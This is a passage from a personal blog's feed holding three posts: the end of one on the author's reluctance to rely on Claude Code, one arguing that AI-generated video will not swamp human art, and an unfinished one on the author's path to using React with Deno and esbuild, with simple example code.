This likely comes from LLMs’ ability to turn a short sentence into a novel, where in code, it may handle errors or edge cases<sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">3</a></sup> when a human may opt not to.
While its code works, this comes at a disservice to humans:
more code means more for humans to review, and longer documentation means more words for humans to read.<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">4</a></sup>
We’ll be spending more time reviewing code as LLMs handle writing code,
so having to review functional but verbose code will hit harder than before.</p>

<!-- Plus, there's no human that can speak to the generated code/documentation. -->

<p>And with <a href="https://arxiv.org/abs/2602.11988">recent research suggesting it may be counterproductive</a> letting Claude auto-generate its own CLAUDE.md,
I wonder how many of the “best practices” about agentic coding are just placebo, or from people being led on by the LLM’s sycophantic overconfidence.</p>

<!-- Ultimately, these may just be limitations of the LLMs and AI agents of today,
and AI enthusiasts expect these limitations to go away "soon."
How soon?
I feel like cogsuckers see exponential growth in AI development and assume it'll continue on forever,
but more likely than not they're just seeing the bottom half of a logistic curve. -->

<!-- Moore made the same observation, but his law is now petering out as hardware gets limited by memory. -->

<h2 id="conclusion">Conclusion</h2>

<p>I don’t really want to get used to using Claude Code, even when my employer provides it for free:</p>

<ul>
  <li>I don’t want to develop a dependence on Claude Code that dissuades me from working on my personal projects.</li>
  <li>A new, shiny, better competitor to Claude will probably show up sooner or later.</li>
  <li>I’m still not confident that Claude can improve our productivity that much.</li>
</ul>

<p>I’ll still keep an eye on Claude and its developments, though, so I’ll cautiously stay ten steps behind Claude.</p>

<hr />

<!--
what even are the main points

- don't want to become reliant on Claude

  - no free Claude outside of company

    - so if i get used to Claude in the company, then i lose the ability (or rather patience) to work on personal projects without ai
    - like a dependency
    - like a drug?

  - technologies are changing very fast, may need to pick up something else instead, no need to become subject matter expert in Claude (eg config)

    - they're incentivized to be beginner friendly, so it's not like you need to worry about building up a skill for it
    - why change stuff for LLM consumption when LLMs are constantly changing and trying to be more intuitive for humans
      - example: token optimizing languages don't make sense because LLMs tokenize optimally for what humans are used to
      - but maybe this will change if anthropic makes a token-based language and trains their agent on it
    - this is getting into "other points" business

  - hence "ten steps behind Claude"

other points (but these are more just anti ai stuff)

- why do people see exponential growth and assume it'll stay exponential. it's probably logistic, it'll slow down at some point, AI has its winters

  - like Moore's law, bottlenecked by memory (and AI is too ig)

- ai does 80% of the work that takes 20% of the time, so it doesn't really save much time. and doing the easy 80% is kinda therapeutic

- Claude.md: /init is just another readme that'll be out of date, research showing it's ineffective

  - the point here is that no one really knows what they're doing
  - what's a good word for "confident". ai makes it feel like you're being productive because it sounds so confident when it does stuff, maybe
  - and this makes you confident claude.md did something
-->
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>There’s like an organization/team-wide limit, but it’s unlimited in the sense that I don’t really need to set limits on my own use. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p>I guess even the greatest AI enthusiast does not completely trust LLM-generated code without human review. Only when our team trusts AI enough to do away with code review will I see AI take a threatening step towards replacing our jobs. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4" role="doc-endnote">
      <p>Unnecessary handling of errors and edge cases may not just hamper reviewability but also set a footgun. For example, error catching might already be handled by an outer layer, so explicit error handling might discard valuable stack traces and add noise to error logs. A human may know whether an edge case is unlikely or impossible in practice, while this knowledge may be outside the LLM’s context window. Sometimes, it may be better to fail noisily for an edge case that is expected to not happen, than to incorrectly handle a yet hypothetical edge case. <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p>Here’s a thought: One might say that verbose code isn’t a problem if it’ll just be agents looking at it in the future, but since LLMs are trained on human text, I wonder if overly wordy code and documentation also reduces the effectiveness of LLMs down the line. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name></name></author><category term="programming" /><category term="ai" /><summary type="html"><![CDATA[I don't really want to rely on Claude Code.]]></summary></entry><entry><title type="html">art need not worry</title><link href="https://sheeptester.github.io/longer-tweets/slop/" rel="alternate" type="text/html" title="art need not worry" /><published>2025-10-04T00:00:00-07:00</published><updated>2025-10-04T00:00:00-07:00</updated><id>https://sheeptester.github.io/longer-tweets/slop</id><content type="html" xml:base="https://sheeptester.github.io/longer-tweets/slop/"><![CDATA[<!--
casey video
trend points to AI leading to more good quality content
but i find this doubtful
humans will still find a way to be creative
would it affect traditional media? a bit but it won't be completely gone
example could be dream staging manhunts
also, my youtube channel is slop
- can just livestream a random building and that produces content faster than AI
- so really, maybe AI is a step back?
-->

<p>With <a href="https://www.youtube.com/watch?v=gzneGhpXwjU">Sora 2 recently released</a>,
YouTuber Casey Neistat posted a video <a href="https://www.youtube.com/watch?v=I1dW-nZqhew">“SORA: the all Ai TikTok Clone. will slop end creativity?”</a><sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>
in which he observes a trend:</p>

<ol>
  <li>Initially, movies required a lot of money, equipment, people, etc., leading to relatively few movies being created.</li>
  <li>As production got cheaper and people became more talented, we saw a rise in media production with more movies and cable TV.</li>
  <li>Then in the internet age, services like YouTube and more recently TikTok have allowed anyone to publish their own videos with just a digital or phone camera.</li>
  <li>Finally, last week, OpenAI released Sora 2, which is both an improved video generation model and a social media. It allows anyone to make a video, even if they don’t have a good camera, CGI or video editing software, or any skills required for an interesting video besides an interesting idea.</li>
</ol>

<!-- he only focuses on video -->

<p>In the first three stages, decreased barriers to publishing video have led to more content being produced. With plastic funnels, he explains that with more content being produced, there’s also more good-quality content being produced, even if most of the content is poor quality. Therefore, with video generation models allowing for the mass production of content—AI slop—he hints at a potential expectation: an increase in AI slop could lead to an increase in good-quality content, the majority of which would be AI-generated.
But reasonably, he finds that expectation dubious. He concludes, “are we starting to turn a corner where slop starts to overwhelm or displace actual creativity?”</p>

<p>I agree that it seems doubtful that AI-generated slop would constitute a large portion of good quality media in the future, but I disagree with his wording, which implies that AI-generated slop and “actual creativity” are necessarily disjoint.</p>

<h2 id="why-wouldnt-ai-overwhelm-the-content-we-consume">Why wouldn’t AI overwhelm the content we consume?</h2>

<p>We still watch movies and TV shows, and we hold them to a higher standard than videos posted on social media, but the majority of content we consume is undeniably from social media.
Should the trend above continue, that would imply that in the future, the majority of content we consume will be AI-generated.</p>

<p>Yet for some reason, I really doubt this, but it’s not obvious why.
After all, AI slop has already begun to creep into our feeds: <a href="https://en.wikipedia.org/wiki/Italian_brainrot">Italian brainrot</a> was likely the first major instance of AI slop competing with traditional content.
Content does not have to be real or authentic for us to enjoy it, especially if it’s not implied that the situation is real. Books, plays, and movies have long often been about fictional tales—“staged,” if you will—and we enjoy these stories for what they are, as an escape from reality.
People dislike even the sight of AI, but that might just be a natural human reaction to something new and unfamiliar. Photography was initially rejected as a form of art, so one could argue that AI-generated content is just another medium too new to be accepted as art.</p>

<p>I think that this sense of doubt is because we made one assumption about AI in the trend above: that AI will allow for creating more content than ever before. Is that really true?</p>

<h2 id="cameras-produce-more-slop-than-ai-ever-will">Cameras produce more slop than AI ever will</h2>

<p>The thing is, AI is really just a step back from the content creation processes we have now.
If we focus on cameras as an example, cameras retain two strengths over AI:</p>

<ol>
  <li>Cameras “generate” a wider variety of content.</li>
  <li>Cameras generate content faster than generation models.</li>
</ol>

<p>By nature of how generation models work, everything they generate is limited by the training data they consume.
AI is just an imitation of reality; it can never surpass it.
Without further prompting from the human to recombine existing concepts, it will never generate something that it has never seen before.
Even if there were some artificial superintelligence that could live the world the way we do, observing and learning from every moment and experience to continuously train its model, the diversity of content it generates is always at most on par with what cameras can capture.
Cameras will always be one step ahead of AI.</p>

<p>Secondly, while people may not see it this way, cameras are the true slop machine.
Cameras are everywhere around the world, recording content with little to no artistic value—think surveillance footage and Zoom recordings.
They’re slop: they’re easy to create in mass, have little human touch, and in turn, the content collectively looks like gruel.
Generation models need to burn countless watt-hours of energy, crunching numbers on expensive hardware, just to generate one video.
In contrast, cameras are now mass-produced, comparatively more energy efficient, and can produce content in real time.</p>

<p>Of course, these video recordings aren’t what people think of when they contrast AI with human-created content because that’s not what they see in their feeds.
That makes sense. I’ve been continuously pumping random videos from my phone—<em>slop</em>—onto my <a href="https://www.youtube.com/@seanthesheep/videos">YouTube channel</a> as video storage, and they (fairly) receive only a few dozen views at most.
But videos and other works of art with few “views” (or the equivalent measure) exist everywhere, as off-tune humming lost into the moment, graffiti etched on a desk, or a conversation on a long forgotten Discord server.
Slop has always existed.</p>

<h2 id="ai-slop-faces-the-same-challenges-as-camera-slop">AI slop faces the same challenges as camera slop</h2>

<p>I take issue with Casey framing AI slop as not creative.
Like cameras, AI is just a tool, contrary to what AI companies want their investors to think.</p>

<p>It is just as easy to film a <a href="https://www.youtube.com/watch?v=54k5QcAKqQA">river minding its own business</a> as it is to generate a video of a river. Of course, you’d need to be physically near a river to film it, and you’d need to wait a few minutes for servers to generate your video.
But the end result is mostly the same.</p>

<p>Now you have a video of a river, perhaps fake, perhaps real. You can upload it to any social media, but if you don’t already have a large following or aren’t randomly selected by the algorithm, it’s unlikely the video will see any views. After all, who cares? It’s just a river.
Even if it’s a famous river, countless tourists probably have already filmed the same river and posted it to social media the same way you did. A video of a river on its own is slop.</p>

<p>In order for slop to become good quality content, you’d need to put more into it. For example, some options include:</p>

<ul>
  <li>Curation. You could’ve taken many videos of the same river, but people would rather see the best shot.</li>
  <li>A personal connection to your audience. Your family members will be more interested in your videos of rivers than strangers on the internet, even if they’re AI generated. People are more likely to watch videos from creators they recognize and movies from actors and directors they like.</li>
  <li>A story. Even the cheapest videos on YouTube Shorts etc. are just a person retelling a story from Wikipedia, and they will receive many more views than a video of the river.</li>
  <li>Editing. You’d need a video editor, and to make something as uninteresting as a river into an interesting video, the art ends up being in the editing rather than the river itself.</li>
  <li>Originality. The river suddenly turning into lava would be vastly more interesting than a normal river.</li>
</ul>

<p>For the last point, it would be incredibly easy to create that type of video with AI. The standards of uniqueness are different for AI because by making slop generation so accessible, you’d need to find new ways to stand out. I’d imagine for Sora 2, this might take the form of finding ways to circumvent OpenAI’s guidelines, for example, and I’d argue that that would be a form of creative expression.</p>

<p>Just because AI makes it so easy to churn out slop does not necessarily mean it will lead to an explosion in AI-generated content that will overwhelm the human content we enjoy today.
Having to make AI slop stand out above the rest makes it share many of the existing problems we have today with getting views on social media.
After all, as Casey points out, one barrier for video production is distribution, and Sora 2, as yet another social media, does not lower that barrier.</p>

<h2 id="ai-will-still-affect-traditional-art">AI will still affect traditional art</h2>

<p>Since AI is not going to take over the world, the traditional forms of art we enjoy today should be completely unaffected, right? Of course not.</p>

<p>While we often like to see a human touch in the works of art we see and hear, that’s not true all the time.
For example, when you enter a hotel room, you usually do not care too much about the paintings in the room, who painted them, what they depict, the artist’s message.
While the artist may have painted their work as art, a hotel guest staying in the room will not interact with the painting as art.
These situations, where art is used solely for its medium, such as interior decoration or background music at a restaurant, would be the perfect victims of AI-generated media.
After all, even humans already create slop: take the <a href="https://en.wikipedia.org/wiki/Corporate_Memphis">corporate artstyle</a> and <a href="https://www.youtube.com/watch?v=rZWLwz9_7o0">tutorial background music</a> as examples.
Therefore, I believe that any artists who rely on making a living on producing art for these audiences will likely see commissions drop as businesses cheap out and switch to using AI.</p>

<p>That said, art is never going away. Art has historically always been a symptom of a thriving society, when some of its population no longer need to worry about staying alive.
<a href="https://en.wikipedia.org/wiki/Blank_paper_protest">The ways people circumvent censorship</a>, like with “unalive” and 🍉, are a testament to how humans will always find a way to express themselves,
and generative AI will not take that away from us.</p>

<!--
the tools used in art may change
people will find a way to express themselves through AI

dont judge whether something is art by its quality or form
but i guess i will not be claiming that ai images are art in this post
-->
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>What is this capitalization <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name></name></author><category term="thoughts" /><category term="ai" /><summary type="html"><![CDATA[Wondering how AI-generated media could affect creative expression.]]></summary></entry><entry><title type="html">React is fine</title><link href="https://sheeptester.github.io/longer-tweets/react/" rel="alternate" type="text/html" title="React is fine" /><published>2025-09-16T00:00:00-07:00</published><updated>2025-09-16T00:00:00-07:00</updated><id>https://sheeptester.github.io/longer-tweets/react</id><content type="html" xml:base="https://sheeptester.github.io/longer-tweets/react/"><![CDATA[<p>The JavaScript ecosystem is notorious for birthing a new web framework every day, and React apps are notorious for consuming memory, producing large builds, and growing ugly in large codebases. Yet despite the plentiful alternatives purporting to solve each of React’s downfalls, React apps are ubiquitous today, found pretty much on every web page beyond the simplest static sites, and used by almost every front-end team in companies. This is partly because it is difficult to switch to other frameworks when React benefits from its network effects.</p>

<p>Personally, I think React is fine. It offers a compelling strength that justifies why you wouldn’t just use vanilla JavaScript, and I don’t think its weaknesses are disastrous to call the React monopoly a terrible tragedy.</p>

<p>In this Longer Tweet, I yap a bunch about <a href="#my-history-with-react">why I switched to React in the first place</a>, then I go over some <a href="#react-qualms">minor pain points I have with React</a>.</p>

<h2 id="my-history-with-react">My history with React</h2>

<!-- Having used vanilla JavaScript for a good portion of my time playing around with web development, I -->

<p>For a good portion of the time I’ve spent making websites, I’ve used vanilla JavaScript and direct DOM manipulation. For example, to add a heading to the page, I’d do</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">heading</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">h1</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">heading</span><span class="p">.</span><span class="nx">textContent</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">Hello!</span><span class="dl">'</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="nx">heading</span><span class="p">)</span>
</code></pre></div></div>

<p>or perhaps</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span>
  <span class="nb">Object</span><span class="p">.</span><span class="nx">assign</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">h1</span><span class="dl">'</span><span class="p">),</span> <span class="p">{</span>
    <span class="na">textContent</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Hello!</span><span class="dl">'</span>
  <span class="p">})</span>
<span class="p">)</span>
</code></pre></div></div>

<p>I was making many small self-contained web pages, so I tried to avoid frameworks where possible out of practical concerns.</p>

<p>Many frameworks start their tutorials under the assumption that you will be making one large production-ready codebase, so they’ll recommend some bloated template like create-react-app<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>—mind you, I was dealing with this around 2016, when most web frameworks were just starting to mature. While I could tolerate each web page living in its own subdirectory, each template would also offer its own package.json, and with that, its own several gigabytes of node_modules. pnpm was too new around that time, and the laptop I was working on was persistently short on storage, often with less than 1 GB left. If I made a React project for every little web project I started, I would quickly rack up gigabytes of disk usage, probably from Webpack alone.</p>

<!-- Around that time, the only framework I knew was React. -->

<h3 id="reactive">Reactive</h3>

<p>To this day, I never learned React formally; I only figured it out by piecing through <a href="https://github.com/llk/scratch-gui">scratch-gui</a>’s code, with its class components, Redux reducers, PropTypes, higher order components—all concepts that were deprecated by the time I got to author my own React code. But I got the gist of how it worked and more importantly, why it was used.</p>

<p>To that end, instead of learning to use React, I made my own knock-off, cheekily named <a href="https://github.com/Orbiit/gunn-web-app/blob/master/js/dumb-reactive.js">Reactive</a>. I declaratively defined the HTML in arrays—effectively a virtual DOM—then the library compares the declared elements to the previous state and makes corresponding changes to the real DOM. This was for rendering bell schedules in my <a href="https://orbiit.github.io/gunn-web-app/">Unofficial Gunn Web App (UGWA)</a>, replacing my previous 9th-grade approach of generating an HTML string and setting <code class="language-plaintext highlighter-rouge">innerHTML</code>.</p>

<p>I made Reactive largely because I felt that React and React DOM were bloated and would increase the bundle size of my app. However, it demonstrated one strength of React: it’s transparently just a library, so there’s no compiler that could magically transform my code into something beyond my grasp.<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup> When I use React, I have a rough idea of how it’s implemented under the hood.</p>

<!-- Indeed, you don't need to have a build step for React at all -->

<h3 id="nextjs">Next.js</h3>

<p>Outside of <a href="https://sheeptester.github.io/scratch-gui/">modding Scratch</a>, I never really wrote my own React code until 2020, during Covid. <a href="https://acrantel.github.io/">Serena</a> invited me to participate in some week-long online hackathon, where we made <a href="https://devpost.com/software/fiitshare">some health project</a>. Ultimately, I don’t think we won anything, but it was the first time I had to write my own React components from scratch.</p>

<p>The project was quite different from scratch-gui. Instead of Scratch’s plain React, we used Next.js. It was interesting to see how simple components really were; there was no need to create a container for every component, like what seemed to be <a href="https://github.com/scratchfoundation/scratch-gui/tree/develop/src/containers">the case for Scratch</a>. Yet, at the same time, it still felt like quite a pain to create a new component, since each time I wanted a new component, not only did I have to copy and paste the component template, but I also had to link it with a CSS module. Compared to my vanilla JavaScript projects, where I typically lump all my CSS into one file, this felt like a lot of bloat.</p>

<p>One curiosity from Next.js was how some file names had special meanings. In the pages/api/ folder, you can just create a JavaScript file that exports an HTTP request handler, and without importing it anywhere, it magically ends up as an API route on the backend. You can even use placeholders in the file name, like <code class="language-plaintext highlighter-rouge">[groupid].js</code>, to provide parameters. To me, this file-based routing felt like the compiler was holding my hand too much. The Next.js framework had magically set everything up for me, but it felt like I would quickly run into a use case not supported well by the framework, and that the framework would produce more bloat than my project would need.</p>

<p>This was one of my first times collaborating on a project with other people. As a high school student, I wasn’t confident about how a proper project should be structured. For instance, I would often see projects divided up into src/, assets/, docs/, etc., but I couldn’t find some definitive guide on how they should be used in a new project. So using React felt like the proper thing to use for a project, and in my <a href="https://github.com/anematode/velar">next collaborative project</a>—a UI for our friend’s graphing calculator—we opted to use create-react-app.<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup></p>

<p>Another hurdle that I was dealing with at the same time were bundlers. Scratch used Webpack, which was bloated and full of dependencies. I had the impression that Rollup was better—I’m not sure where I got this impression from; maybe it was just because <a href="https://anemato.de/">Timothy</a> was using it for <a href="https://github.com/anematode/grapheme">his projects</a>. However, Rollup came with plenty of pain points of its own. It’s bare bones, the complete opposite of Webpack’s bloat, but I found myself frustrated having to look up what options to configure and plugins to install to get essential features like Node module resolution, CommonJS support, and minification working. This made me want to avoid using bundlers when I could.</p>

<h3 id="deno-and-preact">Deno and Preact</h3>

<p>I’m not sure when I first learned about it—maybe it was from <a href="https://github.com/anematode/velar/blob/master/public/designs/test.html">Timothy’s projects</a>—but it turns out React, being just a library like jQuery, can be used without a bundler:</p>

<ol>
  <li>
    <p>You can import React and React DOM <a href="https://legacy.reactjs.org/docs/cdn-links.html">using a CDN</a>, just like how you’d import jQuery</p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script
  </span><span class="na">crossorigin</span>
  <span class="na">src=</span><span class="s">"https://unpkg.com/react@18/umd/react.development.js"</span>
<span class="nt">&gt;&lt;/script&gt;</span>
<span class="nt">&lt;script
  </span><span class="na">crossorigin</span>
  <span class="na">src=</span><span class="s">"https://unpkg.com/react-dom@18/umd/react-dom.development.js"</span>
<span class="nt">&gt;&lt;/script&gt;</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p>JSX is just <a href="https://legacy.reactjs.org/docs/react-without-jsx.html">syntactic sugar for <code class="language-plaintext highlighter-rouge">React.createElement</code></a>, so the equivalent of this JSX</p>

    <div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span>Hello!<span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
</code></pre></div>    </div>

    <p>in JavaScript is just</p>

    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">React</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">p</span><span class="dl">'</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="dl">'</span><span class="s1">Hello!</span><span class="dl">'</span><span class="p">)</span>
</code></pre></div>    </div>

    <p>Alternatively, you can use <a href="https://babeljs.io/docs/babel-standalone">@babel/standalone</a> to put JSX in a script tag, load the entirety of Babel through another script tag, and have it transform and run the JSX in the browser.</p>
  </li>
</ol>

<p>So, on a <a href="https://github.com/SheepTester/sheeptester.github.io/blob/master/javascripts/mp4-analyze.html">few</a> <a href="https://github.com/SheepTester/sheeptester.github.io/blob/master/javascripts/countdown-react.html">occasions</a>, I would import React through a CDN, then painstakingly write out the JSX using function calls:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="p">{</span> <span class="na">createElement</span><span class="p">:</span> <span class="nx">e</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">React</span>

<span class="kd">function</span> <span class="nx">App</span> <span class="p">({</span> <span class="nx">message</span> <span class="p">})</span> <span class="p">{</span>
  <span class="k">return</span> <span class="nx">e</span><span class="p">(</span><span class="dl">'</span><span class="s1">p</span><span class="dl">'</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="nx">message</span><span class="p">)</span>
<span class="p">}</span>

<span class="nx">ReactDOM</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="nx">e</span><span class="p">(</span><span class="nx">App</span><span class="p">,</span> <span class="p">{</span> <span class="na">message</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Hello!</span><span class="dl">'</span> <span class="p">}),</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">root</span><span class="dl">'</span><span class="p">))</span>
</code></pre></div></div>

<p>This was alright, but without JSX, the <a href="https://github.com/SheepTester/sheeptester.github.io/blob/fe32a18445bf3ac2a1590ab3aa511500e58d18a5/javascripts/mp4-analyze.html#L679-L688">function calls became hard to read</a> as they got increasingly nested. Because of this, I used React sparingly in my projects.</p>

<p>By the time I started university in 2021, <a href="https://deno.com/">Deno</a> had risen in popularity. It’s meant to be a fresh approach at server-side JavaScript, and as someone who used to modern web features in vanilla JS, I was sold immediately. I saw plenty of benefits over Node:</p>

<ol>
  <li>Deno mimics the web, with HTTP imports for libraries<sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup> (no more node_modules!) and a preference towards using web APIs where possible, like supporting the Fetch API and returning <code class="language-plaintext highlighter-rouge">Uint8Array</code>s, unlike Node <code class="language-plaintext highlighter-rouge">Buffer</code>.</li>
  <li>Deno has first-class TypeScript support<sup id="fnref:6" role="doc-noteref"><a href="#fn:6" class="footnote" rel="footnote">5</a></sup> and uses promises in its APIs, instead of most APIs still using callbacks like Node.</li>
  <li>Most relevantly for this Longer Tweet, Deno provides its own <code class="language-plaintext highlighter-rouge">deno bundle</code><sup id="fnref:5" role="doc-noteref"><a href="#fn:5" class="footnote" rel="footnote">6</a></sup> command that bundles the entire module graph into a single module, all out of the box!</li>
</ol>

<p><code class="language-plaintext highlighter-rouge">deno bundle</code> was perfect for me. It didn’t require creating a configuration file or installing a library for each project. It was a simple CLI that, combined with <a href="https://terser.org/">Terser</a>, met all my needs: TypeScript support, module resolution, and minification. Plus, the docs had an example of using JSX and <a href="https://preactjs.com/">Preact</a>—essentially React but leaner—in Deno, so all the pieces were in the right place.</p>

<p>A Deno-based Preact app looked like this:</p>

<div class="language-tsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/** @jsxImportSource https://esm.sh/preact@10.17.1 */</span>
<span class="c1">/// &lt;reference no-default-lib="true"/&gt;</span>
<span class="c1">/// &lt;reference lib="dom" /&gt;</span>
<span class="c1">/// &lt;reference lib="deno.ns" /&gt;</span>

<span class="k">import</span> <span class="p">{</span> <span class="nx">render</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">https://esm.sh/preact@10.17.1</span><span class="dl">'</span>

<span class="kd">type</span> <span class="nx">AppProps</span> <span class="o">=</span> <span class="p">{</span>
  <span class="na">message</span><span class="p">:</span> <span class="kr">string</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">App</span> <span class="p">({</span> <span class="nx">message</span> <span class="p">}:</span> <span class="nx">AppProps</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">return</span> <span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;</span><span class="si">{</span><span class="nx">message</span><span class="si">}</span><span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
<span class="p">}</span>

<span class="nx">render</span><span class="p">(&lt;</span><span class="nc">App</span> <span class="na">message</span><span class="p">=</span><span class="s">'Hello!'</span> <span class="p">/&gt;,</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">root</span><span class="dl">'</span><span class="p">)</span><span class="o">!</span><span class="p">)</span>
</code></pre></div></div>

<p>Then, I could bundle and minify it with a simple shell command:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>deno bundle index.tsx | terser <span class="nt">--module</span> <span class="o">&gt;</span> index.js
</code></pre></div></div>

<p>That was it. I didn’t need a webpack.config.js, nor did I need to npm install a bunch of packages.</p>

<p>I had been scraping our university’s course registration website with Deno, so when I wanted to present the data on a website, Deno was a natural choice. Rendering a web page from JSON is a perfect use case for (P)React, recursively generating components of the page out of a datum in the JSON. So, I made my <a href="https://sheeptester.github.io/uxdy/classrooms/">UCSD classrooms website</a> with Deno and Preact.</p>

<h3 id="back-to-node">Back to Node</h3>

<p>You’d think that with <code class="language-plaintext highlighter-rouge">deno bundle</code>, all my bundler troubles would be resolved. Alas, <a href="https://deno.com/blog/v1.31#deno-bundle-deprecation"><code class="language-plaintext highlighter-rouge">deno bundle</code> got deprecated</a> in 2023. By then, I had a number of small web projects bundled with Deno, but I knew that I couldn’t rely on it forever.</p>

<p>The <code class="language-plaintext highlighter-rouge">deno bundle</code> deprecation warning recommended, among others, <a href="https://esbuild.github.io/">esbuild</a>. I tried it out, and it worked. Like <code class="language-plaintext highlighter-rouge">deno bundle</code>, esbuild doesn’t require a configuration file, instead accepting command line arguments, and like <code class="language-plaintext highlighter-rouge">deno bundle</code>, it comes with TypeScript and JSX support out of the box. However, it also can minify, produce source maps, import CSS modules, and start a local development server that rebuilds on the fly—the last one is pretty nice since I didn’t need to start an HTTP server separately, and if I reload too quickly, I think it stalls the request until it finishes building instead of serving a stale build.</p>

<p>It wasn’t a painless transition, though. esbuild was designed for the Node ecosystem, so it doesn’t have support for importing modules from a URL. Without <code class="language-plaintext highlighter-rouge">deno bundle</code>, there was little reason to keep using Deno’s type checker, which was less stable than VS Code’s native TypeScript language features. However, that meant I had to manually configure TypeScript, and it took a bit to figure out what values to use in tsconfig.json to get all my errors to go away—I kept running into bizarre <code class="language-plaintext highlighter-rouge">Cannot find global type 'Array'.</code> errors—but I eventually figured it out.</p>

<p><a href="https://github.com/SheepTester/ucsd-sunset/">SunSET</a> was my first new project built with esbuild and React, and I also made a proper GitHub Action to build and deploy the React app to GitHub Pages.<sup id="fnref:8" role="doc-noteref"><a href="#fn:8" class="footnote" rel="footnote">7</a></sup> It now serves as my template for any React apps I build in the future, like <a href="https://github.com/SheepTester/doufu">Doufu</a> and <a href="https://github.com/SheepTester/qr">QR</a>.</p>

<h3 id="conclusion">Conclusion</h3>

<p>I like React, but what holds me back from using it in all of my projects is the bundler. Because JSX is effectively necessary to use React, a build step is required just to deploy the web page to GitHub Pages. I didn’t like bundlers of the day, like Webpack and Rollup, because they’re bloated and require plenty of boilerplate.
Now that I’ve found esbuild, that roadblock has been lifted; it’s straightforward to <a href="https://github.com/SheepTester/sheeptester.github.io/blob/fe32a18445bf3ac2a1590ab3aa511500e58d18a5/package.json#L7-L10">include a React app inside a monorepo</a> of other web pages.</p>

<h2 id="react-qualms">React qualms</h2>

<p>Although I still use vanilla JavaScript for most of my small web page-sized projects, I see the appeal of React when it insists upon itself. It’s good for when I want many parts of the web page to automatically react to some new value, or when I already need a bundler to build TypeScript.</p>

<p>Beyond personal projects, React is also the framework in the front-end teams I’ve worked in, like at <a href="https://acmucsd.com/">ACM at UCSD</a>, Tesla, and TikTok, and of course it’s used in Scratch 3.0. So I’ve read and written plenty of React code for a variety of apps, and yet I sometimes see the same pain points arise from the monotony of creating yet another React component.</p>

<p>I know that there are too many frameworks out there that see issues with React and tried to tackle them, and I’ll admit I haven’t looked in depth at many of them—as said above, I personally limit my use of frameworks in general, and React is ubiquitous in the industry—but these could be what I’d be looking for when evaluating[^9] a web framework.</p>

<p>[^9] Or, god forbid, making my own.</p>

<h3 id="useref-has-no-initializer-function"><code class="language-plaintext highlighter-rouge">useRef</code> has no initializer function</h3>

<p>For some reason, <code class="language-plaintext highlighter-rouge">useState</code> supports an initializer function, in case it’s expensive, but <code class="language-plaintext highlighter-rouge">useRef</code> does not.</p>

<p>React’s Rules of Hooks permit <a href="https://react.dev/reference/react/useRef#avoiding-recreating-the-ref-contents">the mutation of the ref’s <code class="language-plaintext highlighter-rouge">current</code> value in the component body</a>:</p>

